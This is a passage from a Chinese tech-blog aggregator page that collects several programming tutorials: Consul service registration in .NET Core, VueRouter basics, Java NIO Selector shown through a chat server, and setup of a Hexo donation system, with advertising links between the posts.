                c.Address = new Uri(configuration["ConsulSetting:ConsulAddress"]);
            });

            var registration = new AgentServiceRegistration()
            {
                ID = Guid.NewGuid().ToString(),//服務實例唯一標識
                Name = configuration["ConsulSetting:ServiceName"],//服務名
                Address = configuration["ConsulSetting:ServiceIP"], //服務IP
                Port = int.Parse(configuration["ConsulSetting:ServicePort"]),//服務端口 因為要運行多個實例，端口不能在appsettings.json里配置，在docker容器運行時傳入
                Check = new AgentServiceCheck()
                {
                    DeregisterCriticalServiceAfter = TimeSpan.FromSeconds(5),//服務啟動多久后註冊
                    Interval = TimeSpan.FromSeconds(10),//健康檢查時間間隔
                    HTTP = $"http://{configuration["ConsulSetting:ServiceIP"]}:{configuration["ConsulSetting:ServicePort"]}{configuration["ConsulSetting:ServiceHealthCheck"]}",//健康檢查地址
                    Timeout = TimeSpan.FromSeconds(5)//超時時間
                }
            };

            //服務註冊
            consulClient.Agent.ServiceRegister(registration).Wait();

            //應用程序終止時，取消註冊
            lifetime.ApplicationStopping.Register(() =>
            {
                consulClient.Agent.ServiceDeregister(registration.ID).Wait();
            });

            return app;
        }
    }

appsettings.json：

{
  "Logging": {
    "LogLevel": {
      "Default": "Information",
      "Microsoft": "Warning",
      "Microsoft.Hosting.Lifetime": "Information"
    }
  },
  "AllowedHosts": "*",
  "ConsulSetting": {
    "ServiceName": "OrderService",
    "ServiceIP": "localhost",
    "ServiceHealthCheck": "/healthcheck",
    "ConsulAddress": "http://host.docker.internal:8500"//注意，docker容器內部無法使用localhost訪問宿主機器，如果是控制台啟動的話就用localhost
  }
}

Startup.cs：

    public class Startup
    {
        public Startup(IConfiguration configuration)
        {
            Configuration = configuration;
        }

        public IConfiguration Configuration { get; }

        // This method gets called by the runtime. Use this method to add services to the container.
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddControllers();
        }

        // This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
        public void Configure(IApplicationBuilder app, IWebHostEnvironment env, IHostApplicationLifetime lifetime)
        {
            if (env.IsDevelopment())
            {
                app.UseDeveloperExceptionPage();
            }

            app.UseRouting();

            app.UseAuthorization();

            app.UseEndpoints(endpoints =>
            {
                endpoints.MapControllers();
            });

            //服務註冊
            app.RegisterConsul(Configuration, lifetime);
        }
    }

OrdersController.cs：

    [Route("[controller]")]
    [ApiController]
    public class OrdersController : ControllerBase
    {
        private readonly ILogger<OrdersController> _logger;
        private readonly IConfiguration _configuration;

        public OrdersController(ILogger<OrdersController> logger, IConfiguration configuration)
        {
            _logger = logger;
            _configuration = configuration;
        }

        [HttpGet]
        public IActionResult Get()
        {
            string result = $"【訂單服務】{DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss")}——" +
                $"{Request.HttpContext.Connection.LocalIpAddress}:{_configuration["ConsulSetting:ServicePort"]}";
            return Ok(result);
        }
    }

HealthCheckController.cs：

    [Route("[controller]")]
    [ApiController]
    public class HealthCheckController : ControllerBase
    {
        /// <summary>
        /// 健康檢查接口
        /// </summary>
        /// <returns></returns>
        [HttpGet]
        public IActionResult Get()
        {
            return Ok();
        }
    }

至此就完成了服務註冊，取消註冊，健康檢查等功能的代碼編寫。

  • 同樣的改造一下產品服務，代碼差不多一樣，就不貼了。

運行服務

繼續在docker中運行服務實例，不習慣docker的話用控制台啟動也行。–ConsulSetting:ServicePort參數就是傳入容器的端口信息。

docker build -t orderapi:1.0 -f ./Order.API/Dockerfile .
docker run -d -p 9060:80 --name orderservice orderapi:1.0 --ConsulSetting:ServicePort="9060"
docker run -d -p 9061:80 --name orderservice1 orderapi:1.0 --ConsulSetting:ServicePort="9061"
docker run -d -p 9062:80 --name orderservice2 orderapi:1.0 --ConsulSetting:ServicePort="9062"

docker build -t productapi:1.0 -f ./Product.API/Dockerfile .
docker run -d -p 9050:80 --name productservice productapi:1.0 --ConsulSetting:ServicePort="9050"
docker run -d -p 9051:80 --name productservice1 productapi:1.0 --ConsulSetting:ServicePort="9051"
docker run -d -p 9052:80 --name productservice2 productapi:1.0 --ConsulSetting:ServicePort="9052"

至此，6個服務器實例都已運行，並且成功註冊到Consul。

隨便停止2個服務：

可以看到停止的服務已經在Consul中被移除。注意，這個是我們停止程序時主動調用Consul移除的。

//應用程序終止時，取消註冊
lifetime.ApplicationStopping.Register(() =>
{
    consulClient.Agent.ServiceDeregister(registration.ID).Wait();
});

當然程序發生異常，健康檢查不能正確響應的話，Consul也會移除，有一點區別。

那麼註冊，發現，健康檢查功能都完成了，下一步就該考慮客戶端如何拿到這些服務實例的地址了。

代碼放在：https://github.com/xiajingren/NetCoreMicroserviceDemo

未完待續…

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※網頁設計最專業,超強功能平台可客製化

2020-12-09

Vue —— 精講 VueRouter（1）

Post By admin 發燒車訊 , , , ,

最近被Boos調去給新人做培訓去了，目前把自己整理的一些東西分享出來，希望對大家有所幫助

demo源代碼地址：https://github.com/BM-laoli/BMlaoli-learn-VueRouter

本章節為VueRouter前端 路由的章節部分

大綱

一、基本概念

路由就是通過網絡把訊息從源地址傳輸到目的地的活動
需要一些映射表

  1. 做路由
  2. 做信息的轉發（核心就是：轉發）

後端路由還有前端路由，後端渲染和前端渲染

前端渲染（前後端分離API生態），後端渲染（view嵌套一起）

前端路由的核心概念
地址變化的時候改變url的時候，不進行整體頁面刷新

改變url但是不刷新頁面，的解決方式

我們有這樣的一個需求，改變url跳轉地址，我們獲取新的頁面，但是不希望頁面發生刷新

解決方案1：locaion.hash = ‘/’

這個是vueRouter的底層實現

監聽hash的變化，從而改變網頁數據的獲取機制，渲染對應的組件，

解決方案2：H5的histroray模式

  1. pushState
    history.pushState({},”,’home’),第三個參數就是url

這裏的push實際上就是一個棧結構（先進后出），

假設我們這裏需要回去,使用back()彈棧

history.pushState({},'','home'),
history.pushState({},'','about'),
history.pushState({},'','user'),

//執行這個之後就能進行back()出棧了
history.back(),
// 此時的url是 /about
  1. repalceState

這裡有一個方法和push方法很像，但是不會back()不能點擊後腿按鈕

history.repalceState({},'','user'),
  1. go

這裏的go是對棧的一個操作，
go(-1)彈出一個
go(-2)彈出二個

go(1)壓入一個
go(2)壓入二個

go(-1)

以上就是我們的基本的前端路由原理

二、v-router基本使用

前端三大框架都有自己的router，可以用來構建SPA應用

使用小提示，還是非常非常的簡單的：

  1. 如果你沒有安裝就需要 npm install vue-router去安裝
    • 導入路由對象，並且調用Vue.use(VueRouter)安裝這個路由插件
    • 創建路由實例，傳入映射配置wxain
    • 在vue實例中掛載創建好了的路由

1.導入路由對象，並且配置optionn給路由

/router/index.js


/**
 * 配置路由相關的信息
 */
// 1. 導入
 import Router from 'vue-router'
 
 // 2.1 導入vue實例
import Vue from 'vue'

// 導入組件
import Home from '../components/Home.vue'
import About from '../components/About.vue'


// 2.2使用路由（插件），安裝插件，vue的插件，都是這樣安裝，Vue.use
Vue.use(Router)

// 3. 創建路路由對象，這個就是在Router裏面配置映射和對象等東西

// 4. 抽離配置項出來
const routes = []

const router = new Router({routes})

//4. 導出
export default router

2.配置路由映射

/router/index.js

const routes = [
 
 {path:'/home',component:Home},
 {path:'/about',component:About},

]

3.在實例中使用路由

/main.js

import Vue from 'vue'
import App from './App'
import router from './router'//注意啊模塊查找規則index.js

Vue.config.productionTip = false

/* eslint-disable no-new */
new Vue({
  el: '#app',
  router,// 主要是在這裏掛載進去就好了
  render: h => h(App)
})

4.小心，我們的路由入口還有連接link

/App.vue


<template>
  <div id="app">
    <!-- //這兩個是一個全局祖冊過着個組件，這個就是一個a標籤 -->
    <router-link to='/home'>首頁</router-link>
    <router-link to='/about'>關於</router-link>
    <!-- 路由出口,既：渲染的出口，這個就是一個佔位符號 -->
    <router-view></router-view>
  </div>
</template>

以下是我們的兩個組件

/Home.vue

<template>
    <div>
        <h2>我是首頁</h2>
        <p>我是首頁內容哈哈哈</p>
    </div>
</template>

<script>
    export default {
        
    }
</script>

<style scoped>

</style>

/About.vue

<template>
    <div>
        <h2>我是關於頁面</h2>
        <p>我是首關於內容哈哈哈</p>
    </div>
</template>

<script>
    export default {
        
    }
</script>

<style>

</style>

以上就是我們非常簡單的使用

三、其它的知識點補充

路由的默認值，並且修改成mode=>hisary模式

我們希望默認显示的就是一個首頁
解決方式，映射一個’/’，然後進行重定向
/index.js

  {
    path:'/',
    redirect:'/home'
  },

我們為什麼要去做這調整成一個history，因為我們希望去掉#這個標識

只需要在new 的時候指定一下就好了
/index,js

const router = new Router({
  routes,
  mode:"history"//就是這裏的這個更改路由方式
})

router-link的屬性

  1. tage
    to是一個屬性 ，默認是渲染成一個a鏈接，假設我現在需要默認渲染成一個buttmm怎麼辦呢？
    加一個tag就好了
    <router-link to='/home' tag='button'  >首頁</router-link>
  1. 更改模式replceStats 不允許瀏覽器回退
    replace加上去就好了
<router-link to='/about' tag='button' replace >關於</router-link>
  1. 我們可以利用一些默認的東西去非常方便的做到想要的效果
<style>
.router-link-active{
  color: blue;
}
</style>

替換值：我們希望不要怎麼長，我們希望.active就能改樣式怎麼搞?
加一個active-calss就好了，這個直接就是acitve做為類就好了

 <router-link to='/home' tag='button'  active-class  >首頁</router-link>
 <style>
    .active{
        bgc:red
    }
 </style>

代碼路由跳轉，意思就是重定向

注意啊！route != router
在我們學習路由的時候，this.$router是一個非常重要的對象

這個東西在開中經常的使用

// this.$router.push('重定向的值就好了')。
// this.$router.push('/home')
// 如果你不想有出現回退按鈕，這樣來做就好了
this.$router.replace('/home')

四、動態路由參數

這裏只是簡單的介紹了理由傳參的地址欄拼接模式，但是還有更多更奇奇怪怪的傳值方式，詳見官方Router文檔,

this.$router.parmas
// 這個parmas裏面就是我們的路由參數存放點

這裏我們有這樣的一個需求，我們希望點擊user頁面的時候可以，得到任意的路由參數

比如我們現在/user/zhnsang，的時候可以獲取zhangshang，/user/lishi的時候可以獲取lishi>

  1. 首先我們需要在路由裏面加:
    /router/index.js
   {
        path: "/user/:usermsg",
        component: User
    }
]
  1. 頁面傳遞數據
    /App.vue
router-link :to="'/user/'+username">用戶相關</router-link>
<!-- 路由出口,既：渲染的出口，這個就是一個佔位符號 -->
<router-view></router-view>
  </div>
</template>

<script>
export default {
  name: 'App',
  data() {
    return {
      username: 'lisi'
    }
  },
  1. 頁面獲取數據

一定要注意了，一定是rouer裏面定義的才能從另一路由拿出來

/User.vue


<template>
    <div>
        <h2>我是用戶相關專業</h2>
        <p>我是用戶訊息相關頁面，嘿嘿嘿嘿嘿</p>
        <h1>{{ $route.params.usermsg }}44</h1>
        <hr>
        <h2>{{username}}</h2>
    </div>
</template>

<script>
    export default {    
        computed: {
            username() {
                return this.$route.params.usermsg
            }
        },
    }
</script>

<style scpoe>

</style>

五、細節詳解

注意啊！再說一遍route != router

注意啊，這裏的$route實際上是我們在main裏面new的一個Router得到的,
並且 這個route對象是隨着請求的地方不一樣，而改變的。也就是說，這個的route是當前頁面中的route對象，而且在vue只能只有一個route實例存在

六、 Vue的webpack打包詳解 + 路由懶加載

一個vue項目的簡單打包目錄結構分析

我們來看看,在一個vue項目中，簡單的三個文件是怎麼打包的

假設目前有這樣的三個文件 ，我們需要對他們進行打包，mian是入口，有一個add業務，有一個math依賴模塊。那麼我們webpack打包成的三個文件到底是如何運行的呢？

在vue中 使用webpack打包的時候，會把一些東西給分模塊的打包出來，它打包的東西的目錄結構如下
裏面我們實際打包的時候會把css，js都給分開，各自有各自的作用

| dist
| ---static
| ---css
| ---js
| -----app.XXXX.js         (這個是項目的業務邏輯所在)
| -----manifest.xxxx.js    (這個是底層打包的依賴文件所在)
| -----vendor.xxxx.js      (這個是依賴所在)
| idnex.html

路由懶加載

  1. 概念的理解

目前呢，我們打包的情況是這樣的：我們所有的代碼都是集中放在了以一個app.xxx.js文件中，這樣其實不利於後期的維護和開發，因為如果我們有很多很多的大量的代碼的時候，我們的這個文件就會變得非常非常的大，於是呢，我們就需要路由懶加載，所謂懶加載就是：‘在需要的時候，才去加載某個資源文件’，路由懶加載，就是把每一個路由對應的業務邏輯代碼，在打包的時候分割到不同的js文件中，如何在需要用的時候再去請求它

經過這樣的打包的懶加載之後，我們的目錄會變成這個樣子

| dist
| ---static
| ---css
| ---js
| -----0.xxx.js            (假設是路由home的業務邏輯代碼)
| -----1.xxx.js             (假設是路由about的業務邏輯代碼)
| -----app.XXXX.js         (這個是項目的業務邏輯所在)
| -----manifest.xxxx.js    (這個是底層打包的依賴文件所在)
| -----vendor.xxxx.js      (這個是依賴所在)
| idnex.html
  1. 如何使用

使用非常的簡單，主要有如下的三種方式去使用,但是我最喜歡的還是最後一種方式
/rouetr/index.js

- 使用vue的異步組價和webpack的寫法，早期的時候
const Home = resolve =>{ require.ensure(['../compenet/Home.vue'],()=>{
   resolve (require('../compenet/Home.vue'))
})}

- AMD規範的寫法
const About = resolve =>{ require(['../compenent/About.vue'],resolve) }


- ES6的結合異步組件的方式（最常用）
const Home = () => import('../compenet/Home.vue')

實際的使用
/router/index.js

/**
 * 配置路由相關的信息
 */
// 1. 導入
import Router from 'vue-router'

// 2.1 導入vue實例
import Vue from 'vue'

// 導入組件
// import Home from '../components/Home.vue'
// import About from '../components/About.vue'
// import User from '../components/User'
const Home = () =>
    import ('../components/Home.vue')
const About = () =>
    import ('../components/About.vue')
const User = () =>
    import ('../components/User')


// 2.2使用路由（插件），安裝插件，vue的插件，都是這樣安裝，Vue.use
Vue.use(Router)

// 3. 創建路路由對象，這個就是在Router裏面配置映射和對象等東西

// 4. 抽離配置項出來
const routes = [{
        path: '/',
        redirect: '/home'
    },
    {
        path: '/home',
        component: Home
    },
    {
        path: '/about',
        component: About
    },
    {
        path: "/user/:usermsg",
        component: User
    }
]

const router = new Router({
    routes,
    mode: "history"
})

//4. 導出
export default router

//6. 去main裏面掛載

七、 路由嵌套

我們目前有這樣的一個需求：我們希望我們在hone下，可以/home/new去到home下的一個子組件，/home/message去到另一個子組件

  1. 首先 我們需要有組件
    /components/HomeMessage.vue
<template>
    <div>
      <ul>
          <li1>我是消息1</li1>
          <li2>我是消息2</li2>
          <li3>我是消息3</li3>
          <li4>我是消息4</li4>
      </ul>
    </div>
</template>

<script>
    export default {
        name:"HomeMessage"
    }   
</script>

<style>

</style>

/components/HomeNews

<template>
    <div>
    <ul>
        <li1>新1</li1>
        <li2>新2</li2>
        <li3>新3</li3>
        <li4>新4</li4>
        <li5>新5</li5>
    </ul>
    </div>
</template>

<script>
    export default {
        name:"HomeNews"
    }
</script>

<style>

</style>
  1. 在路由裏面去配置
const HomeNews = () =>
    import ('../components/HomeNews')
const HomeMessage = () =>
    import ('../components/HomeNews')


// 2.2使用路由（插件），安裝插件，vue的插件，都是這樣安裝，Vue.use
Vue.use(Router)

// 3. 創建路路由對象，這個就是在Router裏面配置映射和對象等東西

// 4. 抽離配置項出來
const routes = [{
        path: '/',
        redirect: '/home'
    },
    {
        path: '/home',
        component: Home,
        children: [{
                path: '',
                redirect: 'news'
            },
            {
                path: 'news',// 這裏寫路由實際上應該是/home/news,這裏只是一個相對路由地址，
                component: HomeNews
            },
            {
                path: 'message',
                component: HomeMessage
            },

        ]
    },
    {
  1. 打入口router-view（瞎起的名字實際上就是路由的佔位符）
    /Home.vue
<template>
    <div>
        <h2>我是首頁</h2>
        <p>我是首頁內容哈哈哈</p>
     <router-link to="/home/news">news</router-link>
     <router-link to="/home/message">message</router-link>
    <router-view></router-view>
    </div>
</template>

<script>
    export default {
        
    }
</script>

<style scoped>

</style>

這裏如果是有關狀態的保持，我們需要使用key-alive,後面我們再做詳細的講解

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※南投搬家公司費用需注意的眉眉角角，別等搬了再說!

※教你寫出一流的銷售文案?

2020-12-09

小師妹學JavaIO之:用Selector來發好人卡

Post By admin 發燒車訊 , , , ,

目錄

  • 簡介
  • Selector介紹
  • 創建Selector
  • 註冊Selector到Channel中
  • SelectionKey
  • selector 和 SelectionKey
  • 總的例子
  • 總結

簡介

NIO有三寶:Buffer,Channel，Selector少不了。本文將會介紹NIO三件套中的最後一套Selector，並在理解Selector的基礎上，協助小師妹發一張好人卡。我們開始吧。

Selector介紹

小師妹：F師兄，最近我的桃花有點旺，好幾個師兄莫名其妙的跟我打招呼，可是我一心向著工作，不想談論這些事情。畢竟先有事業才有家嘛。我又不好直接拒絕，有沒有什麼比較隱晦的方法來讓他們放棄這個想法？

更多內容請訪問www.flydean.com

這個問題，我沉思了大約0.001秒，於是給出了答案：給他們發張好人卡吧，應該就不會再來糾纏你了。

小師妹：F師兄，如果給他們發完好人卡還沒有用呢？

那就只能切斷跟他們的聯繫了，來個一刀兩斷。哈哈。

這樣吧，小師妹你最近不是在學NIO嗎？剛好我們可以用Selector來模擬一下發好人卡的過程。

假如你的志偉師兄和子丹師兄想跟你建立聯繫，每個人都想跟你建立一個溝通通道，那麼你就需要創建兩個channel。

兩個channel其實還好，如果有多個人都想同時跟你建立聯繫通道，那麼要維持這些通道就需要保持連接，從而浪費了資源。

但是建立的這些連接並不是時時刻刻都有消息在傳輸，所以其實大多數時間這些建立聯繫的通道其實是浪費的。

如果使用Selector就可以只啟用一個線程來監聽通道的消息變動，這就是Selector。

從上面的圖可以看出，Selector監聽三個不同的channel，然後交給一個processor來處理，從而節約了資源。

創建Selector

先看下selector的定義：

public abstract class Selector implements Closeable

Selector是一個abstract類，並且實現了Closeable，表示Selector是可以被關閉的。

雖然Selector是一個abstract類，但是可以通過open來簡單的創建：

Selector selector = Selector.open();

如果細看open的實現可以發現一個很有趣的現象：

public static Selector open() throws IOException {
        return SelectorProvider.provider().openSelector();
    }

open方法調用的是SelectorProvider中的openSelector方法。

再看下provider的實現：

 public SelectorProvider run() {
   if (loadProviderFromProperty())
        return provider;
    if (loadProviderAsService())
        return provider;
      provider = sun.nio.ch.DefaultSelectorProvider.create();
      return provider;
    }
 });

有三種情況可以加載一個SelectorProvider，如果系統屬性指定了java.nio.channels.spi.SelectorProvider，那麼從指定的屬性加載。

如果沒有直接指定屬性，則從ServiceLoader來加載。

最後如果都找不到的情況下，使用默認的DefaultSelectorProvider。

關於ServiceLoader的用法，我們後面會有專門的文章來講述。這裏先不做多的解釋。

註冊Selector到Channel中

ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();
        serverSocketChannel.bind(new InetSocketAddress("localhost", 9527));
        serverSocketChannel.configureBlocking(false);
        serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);

如果是在服務器端，我們需要先創建一個ServerSocketChannel，綁定Server的地址和端口，然後將Blocking設置為false。因為我們使用了Selector，它實際上是一個非阻塞的IO。

注意FileChannels是不能使用Selector的，因為它是一個阻塞型IO。

小師妹：F師兄，為啥FileChannel是阻塞型的呀？做成非阻塞型的不是更快？

小師妹，我們使用FileChannel的目的是什麼？就是為了讀文件呀，讀取文件肯定是一直讀一直讀，沒有可能讀一會這個channel再讀另外一個channel吧，因為對於每個channel自己來講，在文件沒讀取完之前，都是繁忙狀態，沒有必要在channel中切換。

最後我們將創建好的Selector註冊到channel中去。

SelectionKey

SelectionKey表示的是我們希望監聽到的事件。

總的來說，有4種Event：

  • SelectionKey.OP_READ 表示服務器準備好，可以從channel中讀取數據。
  • SelectionKey.OP_WRITE 表示服務器準備好，可以向channel中寫入數據。
  • SelectionKey.OP_CONNECT 表示客戶端嘗試去連接服務端
  • SelectionKey.OP_ACCEPT 表示服務器accept一個客戶端的請求
public static final int OP_READ = 1 << 0;
public static final int OP_WRITE = 1 << 2;
public static final int OP_CONNECT = 1 << 3;
public static final int OP_ACCEPT = 1 << 4;

我們可以看到上面的4個Event是用位運算來定義的，如果將這個四個event使用或運算合併起來，就得到了SelectionKey中的interestOps。

和interestOps類似，SelectionKey還有一個readyOps。

一個表示感興趣的操作，一個表示ready的操作。

最後，SelectionKey在註冊的時候，還可以attach一個Object，比如我們可以在這個對象中保存這個channel的id：

SelectionKey key = channel.register(
  selector, SelectionKey.OP_ACCEPT, object);
key.attach(Object);
Object object = key.attachment();

object可以在register的時候傳入，也可以調用attach方法。

最後，我們可以通過key的attachment方法，獲得該對象。

selector 和 SelectionKey

我們通過selector.select()這個一個blocking操作，來獲取一個ready的channel。

然後我們通過調用selector.selectedKeys()來獲取到SelectionKey對象。

在SelectionKey對象中，我們通過判斷ready的event來處理相應的消息。

總的例子

接下來，我們把之前將的串聯起來，先建立一個小師妹的ChatServer：

public class ChatServer {

    private static String BYE_BYE="再見";

    public static void main(String[] args) throws IOException, InterruptedException {
        Selector selector = Selector.open();
        ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();
        serverSocketChannel.bind(new InetSocketAddress("localhost", 9527));
        serverSocketChannel.configureBlocking(false);
        serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
        ByteBuffer byteBuffer = ByteBuffer.allocate(512);

        while (true) {
            selector.select();
            Set<SelectionKey> selectedKeys = selector.selectedKeys();
            Iterator<SelectionKey> iter = selectedKeys.iterator();
            while (iter.hasNext()) {
                SelectionKey selectionKey = iter.next();
                if (selectionKey.isAcceptable()) {
                    register(selector, serverSocketChannel);
                }
                if (selectionKey.isReadable()) {
                    serverResonse(byteBuffer, selectionKey);
                }
                iter.remove();
            }
            Thread.sleep(1000);
        }
    }

    private static void serverResonse(ByteBuffer byteBuffer, SelectionKey selectionKey)
            throws IOException {
        SocketChannel socketChannel = (SocketChannel) selectionKey.channel();
        socketChannel.read(byteBuffer);
        byteBuffer.flip();
        byte[] bytes= new byte[byteBuffer.limit()];
        byteBuffer.get(bytes);
        log.info(new String(bytes).trim());
        if(new String(bytes).trim().equals(BYE_BYE)){
            log.info("說再見不如不見！");
            socketChannel.write(ByteBuffer.wrap("再見".getBytes()));
            socketChannel.close();
        }else {
            socketChannel.write(ByteBuffer.wrap("你是個好人".getBytes()));
        }
        byteBuffer.clear();
    }

    private static void register(Selector selector, ServerSocketChannel serverSocketChannel)
            throws IOException {
        SocketChannel socketChannel = serverSocketChannel.accept();
        socketChannel.configureBlocking(false);
        socketChannel.register(selector, SelectionKey.OP_READ);
    }
}

上面例子有兩點需要注意，我們在循環遍歷中，當selectionKey.isAcceptable時，表示服務器收到了一個新的客戶端連接，這個時候我們需要調用register方法，再註冊一個OP_READ事件到這個新的SocketChannel中，然後繼續遍歷。

第二，我們定義了一個stop word，當收到這個stop word的時候，會直接關閉這個client channel。

再看看客戶端的代碼：

public class ChatClient {

    private static SocketChannel socketChannel;
    private static ByteBuffer byteBuffer;

    public static void main(String[] args) throws IOException {

        ChatClient chatClient = new ChatClient();
        String response = chatClient.sendMessage("hello 小師妹！");
        log.info("response is {}", response);
        response = chatClient.sendMessage("能不能？");
        log.info("response is {}", response);
        chatClient.stop();

    }

    public void stop() throws IOException {
        socketChannel.close();
        byteBuffer = null;
    }

    public ChatClient() throws IOException {
        socketChannel = SocketChannel.open(new InetSocketAddress("localhost", 9527));
        byteBuffer = ByteBuffer.allocate(512);
    }

    public String sendMessage(String msg) throws IOException {
        byteBuffer = ByteBuffer.wrap(msg.getBytes());
        String response = null;
        socketChannel.write(byteBuffer);
        byteBuffer.clear();
        socketChannel.read(byteBuffer);
        byteBuffer.flip();
        byte[] bytes= new byte[byteBuffer.limit()];
        byteBuffer.get(bytes);
        response =new String(bytes).trim();
        byteBuffer.clear();
        return response;

    }
}

客戶端代碼沒什麼特別的，需要注意的是Buffer的讀取。

最後輸出結果：

server收到： INFO com.flydean.ChatServer - hello 小師妹！
client收到: INFO com.flydean.ChatClient - response is 你是個好人
server收到： INFO com.flydean.ChatServer - 能不能？
client收到： INFO com.flydean.ChatClient - response is 再見

解釋一下整個流程：志偉跟小師妹建立了一個連接，志偉向小師妹打了一個招呼，小師妹給志偉發了一張好人卡。志偉不死心，想繼續糾纏，小師妹回復再見，然後自己關閉了通道。

總結

本文介紹了Selector和channel在發好人卡的過程中的作用。

  • 區塊鏈從入門到放棄系列教程-涵蓋密碼學,超級賬本,以太坊,Libra,比特幣等持續更新
  • Spring Boot 2.X系列教程:七天從無到有掌握Spring Boot-持續更新
  • Spring 5.X系列教程:滿足你對Spring5的一切想象-持續更新
  • java程序員從小工到專家成神之路（2020版）-持續更新中,附詳細文章教程

本文作者：flydean程序那些事

本文鏈接：http://www.flydean.com/java-io-nio-selector/

本文來源：flydean的博客

歡迎關注我的公眾號:程序那些事，更多精彩等着您！

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※別再煩惱如何寫文案,掌握八大原則!

※產品缺大量曝光嗎?你需要的是一流包裝設計!

2020-12-09

給你看看小白博主開發的打賞系統

Post By admin 發燒車訊 , , , ,

本文章最初發表在XJHui’s Blog，未經允許，任何人禁止轉載！

為使您獲得最好的閱讀體驗，強烈建議您點擊 這裏 前往 XJHui’s Blog 查看！

Hexo-Donate

打賞系統；打賞並填寫問卷后信息可以自動在打賞列表中展示；

GitHub項目地址：https://github.com/xingjiahui/Hexo-Donate

寫在前面

  1. 作者是大二軟工學生，在代碼規範、系統強壯性等方面肯定存在欠缺，但也在努力提升自己能力。

  2. 自己的 個人博客 搭建好后，又用之前學的Web前端知識寫了打賞頁面，思路是：

    給 IamZLT 體驗后，也是覺得體驗不太友善（從填寫問卷到看到自己的打賞信息需要等待的時間太長）

    決定改版，從05.27到06.02用一周的時間從確定思路到測試思路可行性，從測試版發布再到功能完善，最終有了此系統。

    新版本思路：

  3. 系統用到的數據庫、PHP等方面知識我還是個小白，但能憑自己能力把它實現出來就已經很滿意了。

  4. 問題或不足歡迎開 issues 或到 XJHui’s Blog 留言。

關於系統

理論上不管什麼框架，只要有一個空白頁面就能安排上…

打賞列表demo：https://xingjiahui/donate

問卷頁面demo：https://donate.xingjiahui.top

後台管理暫時需要操作數據庫(可視化界面)，如有必要可以添加後端管理頁面

已支持的功能

  1. 打賞列表可統計總打賞人數、打賞金額
  2. 不同打賞方式字體显示顏色不同
  3. 填寫打賞問卷並成功上傳，可在打賞列表中显示填寫的信息
  4. 數據上傳成功后，博主會收到QQ消息提醒

待更新內容

  1. 區分已核實、未核實金額
  2. 豐富QQ消息提醒內容
  3. 接入微信推送
  4. 支持自動審核

系統界面圖

  1. 打賞列表：

  2. 問卷頁面：

  3. 操作GIF實錄：

注：QQ消息提醒內容以後會豐富。

安裝系統要求

  1. 虛擬主機（有免費版本在這裏 購買 ）或 雲服務器（小白建議安裝寶塔面板）
  2. 為打賞列表準備一個頁面

使用該系統

教程中用到的免費虛擬主機維護結束，已開放購買。

下載並上傳

  1. 在項目頁clone or download選擇Download ZIP：

  2. 在虛擬主機控制面板選擇在線文件管理器並進入www目錄下：

    解壓后如圖：

    框選出的文件/文件夾可刪除

導入數據庫

點擊donate_info.sql文件后的導入，提示輸入數據庫密碼：

當你開通虛擬主機時，會看到如下頁面：

將這個密碼填入，即可導入成功（無視警告）：

為了便於測試，導入的數據庫中自帶了兩條數據：

系統測試完成后請刪除！

搭建問卷網站

其實，將項目文件導入后，網站已經搭建完成：

但訪問這個頁面需要域名，依次點擊控制面板–基本功能–域名綁定，就能看到自己網站的域名啦：

瀏覽器訪問這個域名就能看到上面那個頁面了，但並不代表系統就弄好了！

配置虛擬主機

回到面板首頁，找到賬戶主機信息：

將右下角的PHP版本更換為php73。

注：如果不知道怎麼回主面板，點擊上圖左上角頭像試試！

以下操作需要在www目錄下完成！

  1. 配置getJsonData.php

    點擊編輯：

    找到下圖框選出的位置：

    還記得賬戶主機信息么，將對應的信息替換。

  2. 配置regist.php

    點擊編輯，找到下圖框選出的位置：

    下圖位置也要修改：

  3. 測試數據庫是否配置成功

    訪問上面那個域名，填寫上信息：

    上傳，判斷是否配置成功：

    ​ 注意：只要是提示錯誤/警告一定是操作問題，認真檢查。

  4. 檢查數據導出是否正常：

    瀏覽器訪問：域名/getJsonData.php

    查看能否導出數據庫內容：

目前為止，打賞頁面和數據庫已經配置好了，最後就是在前端把數據庫中的數據展現出來。

編輯前端頁面

  1. forkgithub項目：

  2. 編輯pageJs.js文件

    點擊下圖位置可以在線修改文件：

    修改內容為：

  3. 編輯下面的代碼並粘貼到前面準備的空白頁面：

    Hexo框架下無論post（博客）還是page（頁面）都是markdown格式，但markdown兼容html提供了很大的便利性。

    修改下圖位置代碼：

    粘貼到空白頁面（markdown/html均可）：

    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/sviptzk/HexoStaticFile@master/Hexo/css/custom.min.css">
<p>截至 <span class="inline-tag red">nowDate</span>，共收到來自 <span class="inline-tag red">personNum</span>位小夥伴的打賞，金額為
    <span class="inline-tag red">sumDonate</span> 元！</p>
<table>
    <thead>
    <tr>
        <th align="center">用戶名</th>
        <th align="center">打賞方式</th>
        <th align="center">打賞金額</th>
        <th align="center">賞金去向</th>
    </tr>
    </thead>
</table>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/jquery@latest/dist/jquery.min.js"></script>
<script type="text/javascript" src="https://cdn.jsdelivr.net/gh/改成你的github用戶名/Hexo-donate@latest/pageJs.js"></script>

